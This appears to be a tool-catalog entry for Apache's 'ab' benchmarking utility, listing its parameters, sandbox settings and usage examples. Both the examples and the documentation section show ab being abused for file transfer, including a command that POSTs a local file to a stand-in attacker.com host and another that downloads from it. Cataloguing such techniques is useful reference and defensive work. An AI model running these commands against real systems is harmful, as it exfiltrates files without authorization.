network enabled community low v1.0.0

ab

Apache HTTP server benchmarking tool that can also be used for file download and upload operations.

📋 Live Preview
ab {v} {n} {c}
๐Ÿ“Ž v ๐Ÿ“Ž n ๐Ÿ“Ž c
ab {v} {n} {c}

Sandbox: execFile · Timeout: 60s

Capabilities

network.transfer.download
network.transfer.upload
network.http.benchmark

Parameters

Name Type Required Default Description Aliases
v integer No - Verbosity level -v, --verbose
p file No - File to POST -p, --post-file
n integer No - Number of requests -n, --requests
c integer No - Concurrency level -c, --concurrency

Artifacts

TypeDescriptionMIMESchemaTrust
network.http.benchmarkHTTP benchmark resultstext/plain-community

Contract

Inputs

network.target.url

Target URL for benchmark or transfer

Outputs

network.http.benchmark

Benchmark results

Side effects: network_traffic

Workflow Edges

Produces

network.http.benchmark

Consumes

network.target.url

Resource Profile

ResourceValue
CPUmedium
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Download file from attacker server via verbose output

ab -v2 http://attacker.com/path/to/input-file

Upload a local file via POST

ab -p /path/to/input-file http://attacker.com/

Basic benchmark with 1000 requests, concurrency 10

ab -n 1000 -c 10 http://example.com/

Documentation

ab โ€” Apache HTTP Benchmark

ab is a tool for benchmarking Apache HTTP servers. It can also be abused for file transfer operations when the binary has special privileges.

File Transfer

# Download file from remote server
ab -v2 http://attacker.com/path/to/input-file

# Upload file via POST
ab -p /path/to/input-file http://attacker.com/

Benchmarking

ab -n 1000 -c 10 http://example.com/

Related Tools

curlwget

References